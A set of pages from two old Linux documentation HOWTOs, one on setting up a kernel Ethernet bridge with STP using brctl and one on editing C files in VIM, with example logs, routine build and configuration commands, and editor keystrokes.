Jun 12 13:39:03 mbb-1 kernel: mueb: topology change detected, propagating
Jun 12 13:39:05 mbb-1 kernel: mueb: received tcn bpdu on port 1(eth0)
Jun 12 13:39:05 mbb-1 kernel: mueb: topology change detected, propagating

Example 24. Test Messages Of Backup Bridge mbb-2

Jun 12 13:35:21 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 4(eth3)
Jun 12 13:35:21 mbb-2 kernel: mueb: port 4(eth3) entering listening state
Jun 12 13:35:21 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 3(eth2)
Jun 12 13:35:21 mbb-2 kernel: mueb: port 3(eth2) entering listening state
Jun 12 13:35:21 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 2(eth1)
Jun 12 13:35:21 mbb-2 kernel: mueb: port 2(eth1) entering listening state
Jun 12 13:35:21 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 1(eth0)
Jun 12 13:35:21 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:35:25 mbb-2 kernel: mueb: port 4(eth3) entering learning state
Jun 12 13:35:25 mbb-2 kernel: mueb: port 3(eth2) entering learning state
Jun 12 13:35:25 mbb-2 kernel: mueb: port 2(eth1) entering learning state
Jun 12 13:35:29 mbb-2 kernel: mueb: port 4(eth3) entering forwarding state
Jun 12 13:35:29 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:35:29 mbb-2 kernel: mueb: port 3(eth2) entering forwarding state
Jun 12 13:35:29 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:35:29 mbb-2 kernel: mueb: port 2(eth1) entering forwarding state
Jun 12 13:35:29 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:35:49 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun 12 13:35:49 mbb-2 kernel: mueb: port 3(eth2) entering blocking state
Jun 12 13:35:49 mbb-2 kernel: mueb: topology change detected, \
                              <6>mueb: port 4(eth3) entering blocking state
Jun 12 13:35:49 mbb-2 kernel: mueb: topology change detected, \
                              <6>mueb: port 2(eth1) entering blocking state
Jun 12 13:35:50 mbb-2 kernel: mueb: retransmitting tcn bpdu
Jun 12 13:38:26 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 2(eth1)
Jun 12 13:38:26 mbb-2 kernel: mueb: port 2(eth1) entering listening state
Jun 12 13:38:27 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 3(eth2)
Jun 12 13:38:27 mbb-2 kernel: mueb: port 3(eth2) entering listening state
Jun 12 13:38:28 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 4(eth3)
Jun 12 13:38:28 mbb-2 kernel: mueb: port 4(eth3) entering listening state
Jun 12 13:38:30 mbb-2 kernel: mueb: port 2(eth1) entering learning state
Jun 12 13:38:30 mbb-2 kernel: mueb: neighbour 0000.08:00:06:28:15:f6 lost on port 1(eth0)
Jun 12 13:38:30 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:38:31 mbb-2 kernel: mueb: port 3(eth2) entering learning state
Jun 12 13:38:32 mbb-2 kernel: mueb: port 4(eth3) entering learning state
Jun 12 13:38:34 mbb-2 kernel: mueb: port 2(eth1) entering forwarding state
Jun 12 13:38:34 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:38:35 mbb-2 kernel: mueb: port 3(eth2) entering forwarding state
Jun 12 13:38:35 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:38:36 mbb-2 kernel: mueb: port 4(eth3) entering forwarding state
Jun 12 13:38:36 mbb-2 kernel: mueb: topology change detected, propagating
Jun 12 13:39:01 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun 12 13:39:01 mbb-2 kernel: mueb: port 3(eth2) entering blocking state
Jun 12 13:39:01 mbb-2 kernel: mueb: topology change detected, \
                              <6>mueb: port 4(eth3) entering blocking state
Jun 12 13:39:02 mbb-2 kernel: mueb: topology change detected, sending tcn bpdu
Jun 12 13:39:02 mbb-2 kernel: mueb: port 2(eth1) entering blocking state

Prev | Home | Next
Advanced Bridge Features |  | Network Interface Cards


Preparing The Bridge

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

5. Preparing The Bridge

This section describes what you need and how you do to prepare your bridge.

5.1. Get The Files

Here you can find a list of the files and down-loads you will need for the setup of the bridge. If you have one of the mentioned files or packages on your distribution, of course there is no need to create network load.

I'll only mention the files for the 2.2.14 kernel. If you want to try a different one (e.g. 2.2.15 or the recent development kernel) just replace the kernel version number and look whether you find it.

Important: You have read the abstract, didn't you? So you know that there is no need to download any kernel-patch if you're working with a kernel later than 2.3.47.

File and package list

Unpatched kernel-sources

E.g. linux-2.2.14.tar.bz2 available from your local kernel.org mirror. Please check first if you find it in your distribution (take unpatched kernel-sources). If you don't, please check The Linux Kernel Archive Mirror System for a close by mirror and down-load it from there.

Bridge patches

Note: If your kernel is later than 2.3.47 you don't need this. The bridging is part of the mainstream from that version.

Get the bridge kernel patches for your kernel version from http://www.math.leidenuniv.nl/~buytenh/bridge/. Identify the file by the kernel number.

Note: There are also patches allowing to work with IP chains. I never tried it, for I don't see the need to fire-wall inside my LAN, and absolutely no need to bridge against the outer world. Feel free to contribute about that issue.

Kernel patches for the stable 2.2 kernel.

Available Kernel patches

bridge-0.0.9-against-2.2.18.diff, the main kernel patch against 2.2.18

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-0.0.9-against-2.2.18.diff

bridge-ipchains-against-0.0.9-against-2.2.18.diff, an add-on patch for bridge firewalling against 2.2.18

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-ipchains-against-0.0.9-against-2.2.18.diff

bridge-0.0.8-against-2.2.18pre19.diff, the main kernel patch against 2.2.18pre19.

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-0.0.8-against-2.2.18pre19.diff

bridge-0.0.8-against-2.2.17-0.5.diff, the main kernel patch against 2.2.17-0.5

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-0.0.8-against-2.2.17-0.5.diff

bridge-ipchains-against-0.0.8-against-2.2.18pre19.diff, an add-on patch for bridge firewalling against 2.2.18pre19

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-ipchains-against-0.0.8-against-2.2.18pre19.diff

bridge-ipchains-against-0.0.8-against-2.2.17-0.5.diff, an add-on patch for bridge firewalling against 2.2.17-0.5

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-ipchains-against-0.0.8-against-2.2.17-0.5.diff

bridge-0.0.7-against-2.2.18pre15.diff, the main kernel patch against 2.2.18pre15

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-0.0.7-against-2.2.18pre15.diff

bridge-ipchains-against-0.0.7-against-2.2.18pre15.diff, an add-on patch for bridge firewalling against 2.2.18pre15

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-ipchains-against-0.0.7-against-2.2.18pre15.diff

bridge-0.0.7-against-2.2.17.diff, the main kernel patch against 2.2.17

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-0.0.7-against-2.2.17.diff

bridge-ipchains-against-0.0.7-against-2.2.17.diff, an add-on patch for bridge firewalling against 2.2.17

http://www.math.leidenuniv.nl/~buytenh/bridge/patches/bridge-ipchains-against-0.0.7-against-2.2.17.diff

Bridge configuration utilities

You also will need the bridge configuration utilities to set up the bridge Section 6. You can also download them from http://www.math.leidenuniv.nl/~buytenh/bridge/.

5.2. Apply The Patches

Note: If your kernel is later than 2.3.47 you don't need this. The bridging is part of the mainstream from that version.

Apply the bridging patch your kernel. If you don`t know how to do that read the Kernel-HOWTO which can be found in your distribution or at http://www.linuxdoc.org/HOWTO/Kernel-HOWTO.html

Example 1. Applying a kernel patch

root@mbb-1:~ # cd /usr/src/linux-2.2.14
root@mbb-1:/usr/src/linux-2.2.14 # patch -p1 < \
    bridge-0.0.5-against-2.2.14.diff
.
.

5.3. Configure The Kernel

Now it's time we configure our freshly patched kernel to create the ability to bridge.

Run make config, make menuconfig or the click-o-rama make xconfig. Select bridging in the networking option section to be compiled as a module. AFAIK there is no strong reason why not to compile it as a kernel module, whereas I heard rumors about problems with compiling the bridging code directly into the kernel.

root@mbb-1:~ # cd /usr/src/linux-2.2.14
root@mbb-1:/usr/src/linux-2.2.14 # make menuconfig
.

5.4. Compile The Kernel

Compile your kernel Example 2. Make the new compiled kernel-image to be loaded. I don't know if the kernel patches only apply to the bridging-module or also modify some interfaces inside vmlinuz. So it might not be a error to give a reboot after you updated the kernel-image.

Example 2. Commands To Compile Your Kernel

root@mbb-1:/usr/src/linux-2.2.14 # make dep clean zImage modules modules_install zlilo
...

5.5. Compile The Bridge Utilities

This is how to compile and install from the scratch. Just unzip the utilities-tarball, cd into the newly created directory and give a make.

Example 3. Commands To Compile Your Bridge-Utilities

root@mbb-1:/usr/src/linux-2.2.14 # cd /usr/local/src
root@mbb-1:/usr/local/src/ # tar xzvf bridge-utils-0.9.1.tar.gz
.....
....
root@mbb-1:/usr/local/src # cd bridge
root@mbb-1:/usr/local/src/bridge # make
.....
....

After the compilation shown in Example 3 have worked properly, you can copy the executables to let's say /usr/local/sbin/ (at least I did). So the commands you have to give should be clear, but to be complete see Example 4

Example 4. Copy The Binaries Of The Utilities

root@mbb-1:/usr/local/src/bridge # cd brctl
root@mbb-1:/usr/local/src/bridge/brctl # cp brctl /usr/local/sbin
root@mbb-1:/usr/local/src/bridge/brctl # chmod 700 /usr/local/sbin/brctl
root@mbb-1:/usr/local/src/bridge/brctl # cp brctld /usr/local/sbin
root@mbb-1:/usr/local/src/bridge/brctl # chmod 700 /usr/local/sbin/brctld

Also now you can copy the new man-page to a decent place, as shown in Example 5.

Example 5. Copy The Man-page Of brctl

root@mbb-1:/usr/local/src/bridge # cd doc
root@mbb-1:/usr/local/src/bridge/doc #  gzip -c brctl.8 > /usr/local/man/man8/brctl.8.gz

Prev | Home | Next
Rules On Bridging |  | Set Up The Bridge


Recommended Reading

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

B. Recommended Reading

Here you will some recommendations which documents you should read before you start to setup a bridge.

The bridge home-page

Will give you recent information about the bridging code and the bridge utilities.

http://www.linuxdoc.org/HOWTO/NET3-4-HOWTO

Describes how to install and configure the Linux networking software and associated tools.

http://www.linuxdoc.org//HOWTO/Ethernet-HOWTO

Information about which Ethernet devices can be used for Linux, and how to set them up (focused on the hardware and low level driver aspect of the Ethernet cards).

Prev | Home | Next
Network Interface Cards |  | FAQ


Rules On Bridging

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

4. Rules On Bridging

There is a number of rules you are not allowed to break (otherwise your bridge will do).

  • A port can only be a member of one bridge.

  • A bridge knows nothing about routes.

  • A bridge knows nothing about higher protocols than ARP. That's the reason why it can bridge any possible protocol possibly running on your Ethernet.

  • No matter how many ports you have in your logical bridge, it's covered by only one logical interface

  • As soon as a port (e.g. a NIC) is added to a bridge you have no more direct control about it.

Warning

If one of the points mentioned above is not clear to you now, don't continue reading. Read the documents listed in Appendix B first.

If you ever tried to ping an unmanaged switch, you will know that it doesn't work, because you don't have a IP-address for it. To switch datagrams it doesn't need one. The other thing is if you want to manage the switch. It's too much strain, to take a dumb terminal, walk to the place you installed it (normally a dark, dusty and warm room, with a lot of green and red Christmas lights), to connect the terminal and to change the settings.

What you want is remote management, usually by SNMP, telnet, rlogin or (best) ssh. For all this services you will need a IP. That's the exception to the transparency. The new code allows you without any problem to assign a IP address to the virtual interface formed by the bridge-instance you will create in Section 6.2. All NIC's (or other interfaces) in your bridge will happily listen and respond to datagrams destined to this IP.

All other data will not interfere with the bridge. The bridge just acts like a switch.

Prev | Home | Next
What Is A Bridge? |  | Preparing The Bridge


Set Up The Bridge

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

6. Set Up The Bridge

Make sure all your network cards are working nicely and are accessible. If so, ifconfig will show you the hardware layout of the network-interface. If you have problems making your cards work please read the Ethernet-HOWTO at http://www.linuxdoc.org/HOWTO/Ethernet-HOWTO.html. Don't mess around with IP-addresses or net-masks. You will not need it, until you bridge fully operational an up.

After you did the steps mentioned above a modprobe -v bridge should show no errors. You can check the success by issuing a cat /proc/modules. Also for each of the network cards you want to use in the bridge the ifconfig whateverNameYourInterfaceHas should give you some information about the interface.

If your bridge-utilities have been correctly built and your kernel and bridge-module are OK, then issuing a brctl should show a small command synopsis.

6.1. brctl Command Synopsis

root@mbb-1:~ # brctl
commands:
    addbr           <bridge>                add bridge                        (1)
    addif           <bridge> <device>       add interface to bridge           (2)
    delbr           <bridge>                delete bridge                     (3)
    delif           <bridge> <device>       delete interface from bridge      (4)
    show                                    show a list of bridges            (5)
    showbr          <bridge>                show bridge info                  (6)
    showmacs        <bridge>                show a list of mac addrs          (7)

    setageing       <bridge> <time>         set ageing time                   (8)
    setbridgeprio   <bridge> <prio>         set bridge priority               (9)
    setfd           <bridge> <time>         set bridge forward delay          (10)
    setgcint        <bridge> <time>         set garbage collection interval (11)
    sethello        <bridge> <time>         set hello time                  (12)
    setmaxage       <bridge> <time>         set max message age             (13)
    setpathcost     <bridge> <port> <cost>  set path cost                   (14)
    setportprio     <bridge> <port> <prio>  set port priority               (15)
    stp             <bridge> <state>        {dis,en}able stp                (16)

The brctl addbr bridgename command creates a logical bridge instance with the name bridgename. You will need at least one logical instance to do any bridging at all. You can interpret the logical bridge being a container for the interfaces taking part in the bridging. Each bridging instance is represented by a new network interface.

Example 6. Creating A Instance

root@mbb-1:~ # brctl addbr mybridge1

The corresponding "shutdown" command is brctl delbr bridgename.

Caution

brctl delbr bridgename will only work, if there are no more interfaces added to the instance you want to delete.

The brctl addif bridgename device command enslaves the network device device to take part in the bridging of bridgename. As a simple explanation, each interface enslaved into a instance is bridged to the other interfaces of the instance.

The corresponding command to tale a interface out of the bridge would be brctl delif bridgename device

The brctl show command gives you a summary about the overall bridge status, and the instances running as shown in Example 7. If you are interested in detailed information about a instance and it's interfaces you will have to check (6) .

Example 7. Output Of brctl show

root@mbb-1:~ # brctl show
bridge name     bridge id               stp enabled
mybridge1       0000.0800062815f6       yes
The brctl showbr bridgename command gives you a summary about a bridge instance and it's enslaved interfaces.

Example 8. Output Of brctl showbr bridgename

root@mbb-1:~ # brctl showbr mybridge1
mybridge1
 bridge id              0000.0800062815f6
 designated root        0000.0800062815f6
 root port                 0                    path cost                  0
 max age                   4.00                 bridge max age             4.00
 hello time                1.00                 bridge hello time          1.00
 forward delay             4.00                 bridge forward delay       4.00
 ageing time             300.00                 gc interval                4.00
 hello timer               0.84                 tcn timer                  0.00
 topology change timer     0.00                 gc timer                   1.84
 flags

eth0 (1)
 port id                8001                    state                   forwarding
 designated root        0000.0800062815f6       path cost                100
 designated bridge      0000.0800062815f6       message age timer          0.00
 designated port        8001                    forward delay timer        0.00
 designated cost           0                    hold timer                 0.84
 flags

eth1 (2)
 port id                8002                    state                   forwarding
 designated root        0000.0800062815f6       path cost                100
 designated bridge      0000.0800062815f6       message age timer          0.00
 designated port        8002                    forward delay timer        0.00
 designated cost           0                    hold timer                 0.84
 flags
The brctl showmacs bridgename command gives you a list of MAC-addresses of the interfaces which are enslaved in bridgename.

Example 9. Output Of brctl showmacs bridgename

root@mbb-1:~ # brctl showmacs mybridge1
port no mac addr                is local?       ageing timer
  1     00:10:4b:b6:c6:e4       no               119.25
  1     00:50:04:43:82:85       no                 0.00
  1     00:50:da:45:45:b1       no                76.75
  1     00:a0:24:d0:4c:d6       yes                0.00
  1     00:a0:24:f0:22:71       no                 5.81
  1     08:00:09:b5:dc:41       no                22.22
  1     08:00:09:fb:39:a1       no                27.24
  1     08:00:09:fc:92:2c       no                53.13
  4     08:00:09:fc:d2:11       yes                0.00
  1     08:00:09:fd:23:88       no               230.42
  1     08:00:09:fe:0d:6f       no               144.55
Sets the aging time. The aging time is the number of seconds a MAC-address will be kept in the forwarding database after having received a packet from this MAC address. The entries in the forwarding database are periodically timed out to ensure they won't stay around forever. Normally there should be no need to modify this parameter.
Sets the bridge's relative priority. The bridge with the lowest priority will be elected as the root bridge. The root bridge is the "central" bridge in the spanning tree. More information about STP you find at Section 7.1.
Sets the forwarding delay time. The forwarding delay time is the time spent in each of the Listening and Learning states before the Forwarding state is entered.
(11)
Sets the garbage collection interval. Every (this number) seconds, the entire forwarding database is checked for timed-out entries. The timed-out entries are removed.
(12)
Sets the hello time. Every (this number) seconds, a hello packet is sent out by the Root Bridge and the Designated Bridges. Hello packets are used to communicate information about the topology throughout the entire Bridged Local Area Network. More information about STP you find at Section 7.1.
(13)
Sets the maximum message age. If the last seen (received) hello packet is more than this number of seconds old, the bridge in question will start the takeover procedure in attempt to become the Root Bridge itself. More information about STP you find at Section 7.1.
(14)
Sets the cost of receiving (or sending, I'm not sure) a packet on this interface. Faster interfaces should have lower path costs. These values are used in the computation of the minimal spanning tree. More information about STP you find at Section 7.1. Paths with lower costs are likelier to be used in the spanning tree than high-cost paths (As an example, think of a gigabit line with a 100Mbit or 10Mbit line as a backup line. You don't want the 10/100Mbit line to become the primary line there.)

The Linux implementation currently sets the path cost of all eth* interfaces to 100, the nominal cost for a 10Mbit connection. There is unfortunately no easy way to discern 10Mbit from 100Mbit from 1Gbit Ethernet cards, so the bridge cannot use the real interface speed.

(16)
With this parameter you can enable or disable the Spanning Tree Protocol.
(9) (12) (14) (16)
This parameters are only of interest, if you have more than one bridge in your LAN and stp enabled. Before modifying them you should read Section 7.1.

6.2. Basic Setup

The standard configuration should consist of:

  1. Create the bridge interface.
    root@mbb-1:~ # brctl addbr mybridge

  2. Add interfaces to the bridge.
    root@mbb-1:~ # brctl addif mybridge eth0
root@mbb-1:~ # brctl addif mybridge eth1

  3. Zero IP the interfaces.
    root@mbb-1:~ # ifconfig eth0 0.0.0.0
root@mbb-1:~ # ifconfig eth1 0.0.0.0

  4. Put up the bridge.
    root@mbb-1:~ # ifconfig mybridge up

  5. Optionally you can configure the virtual interface mybridge to take part in your network. It behaves like one interface (like a normal network card). Exactly that way you configure it, replacing the previous command with something like:
    root@mbb-1:~ # ifconfig mybridge 192.168.100.5 netmask 255.255.255.0 up

A more sophisticated setup script you will find at Example 16.

Important: If you get the terrible experience of a frozen system or some nasty behavior of your nicely shaped linux box at
root@mbb-1:~ # ifconfig ethn 0 0.0.0.0
please try (after the reboot of the system if necessary) before starting any bridge stuff at all a
root@mbb-1:~ # ifconfig ethn promisc up
If again your system is frozen it's you NIC's driver you have to blame, not the bridging code.

Prev | Home | Next
Preparing The Bridge |  | Advanced Bridge Features


What Is A Bridge?

Linux BRIDGE-STP-HOWTO: About The Linux Modular Bridge And STP
Prev Next

3. What Is A Bridge?

A bridge is a device that separates two or more network segments within one logical network (e.g. a single IP-subnet).

A bridge is usually placed between two separate groups of computers that talk with each other, but not that much with the computers in the other group. A good example of this is to consider a cluster of Macintoshes and a cluster of Unix machines. Both of these groups of machines tend to be quite chatty amongst themselves, and the traffic they produce on the network causes collisions for the other machines who are trying to speak to one another.

The job of the bridge is to examine the destination of the data packets one at a time and decide whether or not to pass the packets to the other side of the Ethernet segment. The result is a faster, quieter network with less collisions.

The bridging code decides whether to bridge data or to drop it not by looking at the protocol type (IP, IPX, NetBEUI), but by looking at the MAC-address unique to each NIC.

Important: It's vital to understand that a bridge is neither a router nor a fire-wall. Spoken in simple term a bridge behaves like a network switch (i.e. Layer 2 Switch), making it a transparent network component (which is not absolutely true, but nearly). Read more about this at Section 4.

In addition, you can overcome hardware incompatibilities with a bridge, without leaving the address-range of your IP-net or subnet. E.g. it's possible to bridge between different physical media like 10 Base T and 100 Base TX.

My personal reason for starting to set up a bridge was that in my work I had to connect Fast Ethernet components to a existing HP Voice Grade network, which is a proprietary networking standard.

Features Above Pure Bridging

STP

The Spanning Tree Protocol is a nifty method of keeping Ethernet devices connected in multiple paths working. The participating switches negotiate the shortest available path by STP. This feature will be discussed in Section 7.1.

Multiple Bridge Instances

Multiple bridge instances allow you to have more than one bridge on your box up and running, and to control each instance separately.

Fire-walling

There is a patch to the bridging code which allows you to use IP chains on the interface inside a bridge. More info about this you'll find at Section 7.2.

Prev | Home | Next
Document Home and Downloads |  | Rules On Bridging


Auto-Completing Words

C editing with VIM HOWTO
Prev Next

4. Auto-Completing Words

Consider the following code

Figure 9. Auto-completion example

The function A_Very_Long_Function_Name() can be quite exasperating to type over and over again. While still in insert-mode, one can auto-complete a word by either searching forwards or backwards. In function, Another_Function() one can type A_Very... and hit CTRL-P. The first matching word will be displayed first. In this case it would be A_Very_Long_Variable_Name. To complete it correctly, one can hit CTRL-P again and the search continues upwards to the next matching word, which is A_Very_Long_Function_Name. As soon as the correct word is matched you can continue typing. VIM remains in insert-mode during the entire process.

Similar to CTRL-P is the keystroke CTRL-N. This searches forwards instead of backwards. Both the keystrokes continue to search until they hit the top or bottom.

Both CTRL-P and CTRL-N are part of a mode known as CTRL-X mode. CTRL-X mode is a sub-mode of the insert mode. So you can enter this mode when you are in the insert-mode. To leave CTRL-X mode you can hit any keystroke other than CTRL-X, CTRL-P and CTRL-N. Once you leave CTRL-X mode you return to insert-mode.

CTRL-X mode allows you do auto-completion in a variety of ways. One can even autocomplete filenames. This is particularly useful when you have to include header files. Using CTRL-X mode you can include a file foo.h using the following mechanism.

     #include "f CTRL-X CTRL-F"

That's CTRL-X CTRL-F. I know... I know... Its sounds like emacs ;-). There are other things you can do in the CTRL-X mode. One of them is dictionary completion. Dictionary completion allows one to specify a file containing a list of words which are used for completion. By default the dictionary option is not set. This option is set by the command :set dictionary=file. Typically one can put in C keywords, typedefs, #defines in the dictionary file. C++ and Java programmers may be interested in adding class names as well.

The format of a dictionary file is simple. Just put a word you want in line by itself. So a C dictionary file would look something like this.

Figure 10. A sample dictionary file

To use the dictionary completion, one needs to hit CTRL-X CTRL-K. The completion is similar to the CTRL-P and CTRL-N keystrokes. So... to type "typedef" all one needs to do is t CTRL-X CTRL-K and poof... the name completed.

Prev | Home | Next
Jumping to random positions in C files |  | Formating automatically


Formating automatically

C editing with VIM HOWTO
Prev Next

5. Formating automatically

5.1. Restricting column width

One often has to restrict the column width to 80 or 75 or whatever. One can set this quite easily by using the command

        :set textwidth=80

To do this automatically just put the command in your .vimrc.

In addition to textwidth you may want the text to wrap at a certain column. Often such choices are dictated by the terminal one is using or it could just be by choice. The command for such a case is

        :set wrapwidth=60

The above command makes the text wrap at 60 columns.

5.2. Automatically indent code

While coding in C, one often indents inner-blocks of code. To do this automatically while coding, VIM has an option called cindent. To set this, just use the command

        :set cindent

By setting cindent, code is automatically beautified. To set this command automatically, just add it to your .vimrc

5.3. Comments

VIM also allows you to auto-format comments. You can split comments into 3 stages: The first part, the middle part and the end part. For example your coding style requirements may require comments to be in the following style

        /*
        * This is the comment
        */

In such a case the following command can be used

        :set comments=sl:/*,mb:*,elx:*/

Let me decipher the command for you. The commands has three parts. The first part is sl:/*. This tells VIM that three piece comments begin with /*. The next part tells VIM that the middle part of the comment is *. The last part of the command tells vim a couple of things. One that the command should end with */ and that it should automatically complete the comment when you hit just /.

Let me give another example. Lets say your coding guidelines are as follows

        /*
        ** This is the comment
        */

In such a situation you can use following command for comments

        :set comments=sl:/*,mb:**,elx:*

to insert a comment just type /* and hit enter. The next line will automatically contain the **. After you've finished the comment just hit enter again and another ** will be inserted. However to end the comment you want a */ and not **/. VIM is quite clever here. You don't need to delete the last * and replace it with /. Instead, just hit / and VIM will recognise it as the end of the comment and will automatically change the line from ** to */.

For more info hit :h comments

Prev | Home | Next
Auto-Completing Words |  | Multi-file editing


Copyright

C editing with VIM HOWTO
Prev Next

8. Copyright

Copyright (c) 2000,2001 Siddharth Heroor.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license can be found at http://www.gnu.org/copyleft/fdl.html

Prev | Home | Next
Quickfix |  | References


C editing with VIM HOWTO

Siddharth Heroor

Revision History
Revision v1.0 | Jan 14, 2001 | Revised by: sh
Second Revision. Corrected some typos.
Revision v0.1 | Dec 04, 2000 | Revised by: sh
First Revision. I would love to have your feedback

This document gives an introduction to editing C and other language files, whose syntax is similar, like C++ and Java in vi/VIM.

Table of Contents
1. Introduction
2. Moving around.
2.1. w, e and b keystrokes
2.2. {, }, [[ and ]] keystrokes
2.3. % keystroke
3. Jumping to random positions in C files
3.1. ctags
3.2. marks
3.3. gd keystroke
4. Auto-Completing Words
5. Formating automatically
5.1. Restricting column width
5.2. Automatically indent code
5.3. Comments
6. Multi-file editing
7. Quickfix
8. Copyright
9. References
Next
Introduction


Introduction

C editing with VIM HOWTO
Prev Next

1. Introduction

The purpose of this document is to introduce the novice VIM user to the editing options available in VIM for C files. The document introduces some commands and keystrokes which will help in improving the productivity of programmers using VIM to edit C files.

The scope of the document is to describe how one can edit C files with VIM. However most of what is described is also applicable for vi. Plus what is mentioned here about editing C files is more or less applicable to C++, Java and other similar languages.

Prev | Home | Next
C editing with VIM HOWTO |  | Moving around.


Moving around.

C editing with VIM HOWTO
Prev Next

2. Moving around.

2.1. w, e and b keystrokes

One can use the w, e and b keys to move around a file. VIM is capable of recognizing the different tokens within a C expression.

Consider the following C code

Figure 1. A C snippet

          ...
          if(( NULL == x ) && y > z )
          ...

Assume that the cursor is positioned at the beginning of the if statement. By pressing w once the cursor jumps to the first (. By typing w again the cursor moves to NULL. Next time the cursor will move to the == token. Further keystrokes will take you as follows. x... )... &&... y... >... z... and finally )...

e is similar to w only that it takes you to the end of the current word and not to the beginning of the next word.

b does the exact opposite of w. It moves the cursor in the opposite direction. So you can moving backwards using the b keystroke.

2.2. {, }, [[ and ]] keystrokes

The { and } keys are used to move from paragraph to paragraph. When editing C files these keys have a slightly different meaning. Here a paragraph is taken as a bunch of lines separated by an empty line.

For Example

Figure 2. Another C snippet

The above snippet shows two paragraphs. One can easily move from the beginning of one to the other, by using the { and } keys. { will take the cursor to the paragraph above and } will take the cursor to the paragraph below.

Many people have the coding style where a logical set of statements are grouped together and separated by one or more blank lines.

For Example

Figure 3. Another C snippet

The { and } keys are very useful in such situations. One can very easily move from one "paragraph" to another.

Another set of keys which are useful are the [[ and ]] keys. These keys allow you to jump to the previous { or next { in the first column.

For Example

Figure 4. The next snippet of C code

Lets say you were editing foo() and now you want to edit bar(). Just type ]] and the cursor will take you to the opening { of the bar() function. The reverse is slightly different. If you were in the middle of bar() and you type [[ the cursor will move to the first { above i.e. the beginning of bar() itself. One has to type [[ again to move to the beginning of foo(). The number of keystrokes can be minimized by typing 2[[ to take the cursor to the beginning of the previous function.

Another set of similar keystrokes are the ][ and [] keystrokes. ][ takes the cursor to next } in the first column. If you were editing foo() and wanted to go to the end of foo() then ][ will take you there. Similarly if you were editing bar() and wanted to go to the end of foo() then [] would take the cursor there.

The way to remember the keystrokes is by breaking them up. The first keystroke will indicated whether to move up or down. [ will move up and ] will move down. The next keystroke indicates the type of brace to match. If it same same as the previous keystroke then the cursor will move to {. If the keystroke is different then the cursor will move to }.

One caveat of the ]], ][, [[ and [] keystrokes is that they match the braces which are in the first column. If one wants to match all braces upwards and downwards regardless of whether its in the first column or not is not possible. The VIM documentation has a workaround. One has to map the keystrokes to find the braces. Without spending too much time on mapping, the suggested mappings are

:map [[ ?{<CTRL-VCTRL-M>w99[{

:map ][ /}<CTRL-VCTRL-M>b99]}

:map ]] j0[[%/{<CTRL-VCTRL-M>

:map [] k$][%?}<CTRL-VCTRL-M>

2.3. % keystroke

The % is used to match the item under the cursor. The item under the cursor can be a parenthesis, a curly bracket or a square bracket. By pressing the % key the cursor will jump to the corresponding match.

Amongst other things, the % keystroke can be used to match #if, #ifdef, #else #elif and #endif also.

This keystroke is very useful in validating code that one has written. For Example

Figure 5. The next snippet of C code

Checking the above code will involve checking the correctness of the parenthesis. The % can be used to jump from one ( to its corresponding ) and vice versa. Thus, one can find which opening parenthesis corresponds to which closing parenthesis and use the information to validate the code.

Similarly the % can also be used to jump from a { to its corresponding }.

Prev | Home | Next
Introduction |  | Jumping to random positions in C files


Multi-file editing

C editing with VIM HOWTO
Prev Next

6. Multi-file editing

One often needs to edit more than one file at a time. For example one maybe editing a header file and a source file at the same time. To edit more than one file at a time, invoke VIM using the following command

     $ vim file1 file2 ...

Now you can edit the first file and move onto the next file using the command

     :n

You can jump back using the command

     :e#

It may be useful while coding if you could see both the files at the same time and switch between the two. In other words, it would be useful if the screen was split and you could see the header file at the top and the source file at the bottom. VIM has such a command to split the screen. To invoke i, simply say :split

The same file will be displayed in both the windows. Whatever command is invoked, will affect only the window in focus. So one can edit another file in another window by using the command :e file2

After executing that command, you'll find that there are two files visible. One window shows the first file and the other shows the second file. To switch between the files one has to use the keystroke CTRL-W CTRL-W. To learn more about split windows, just run help on it.

Prev | Home | Next
Formating automatically |  | Quickfix


Quickfix

C editing with VIM HOWTO
Prev Next

7. Quickfix

When coding in C one often has a edit-compile-edit cycle. Typically you would edit C file using some the things I've mentioned earlier, save the file, compile the code and go to the error(s) and start editing again. VIM helps save the cycle time slightly using a mode called quickfix. Basically, one has to save the compiler errors in a file and open the file with VIM using the command

     $ vim -q compiler_error_file

VIM automatically opens the file containing the error and positions the cursor at the location of the first error.

There is a shortcut to the cycle. Using the command "make", one can automatically compile code and goto the position where the first error occurs. To invoke the make command type the following

     :make

Basically, this command calls make in a shell and goes to the first error. However, if you are not compiling using make and are compiling using a command such as cc, then you have to set a variable called makeprg to the command you want invoked when you use the make command. For eg. :set makeprg=cc\ foo.c

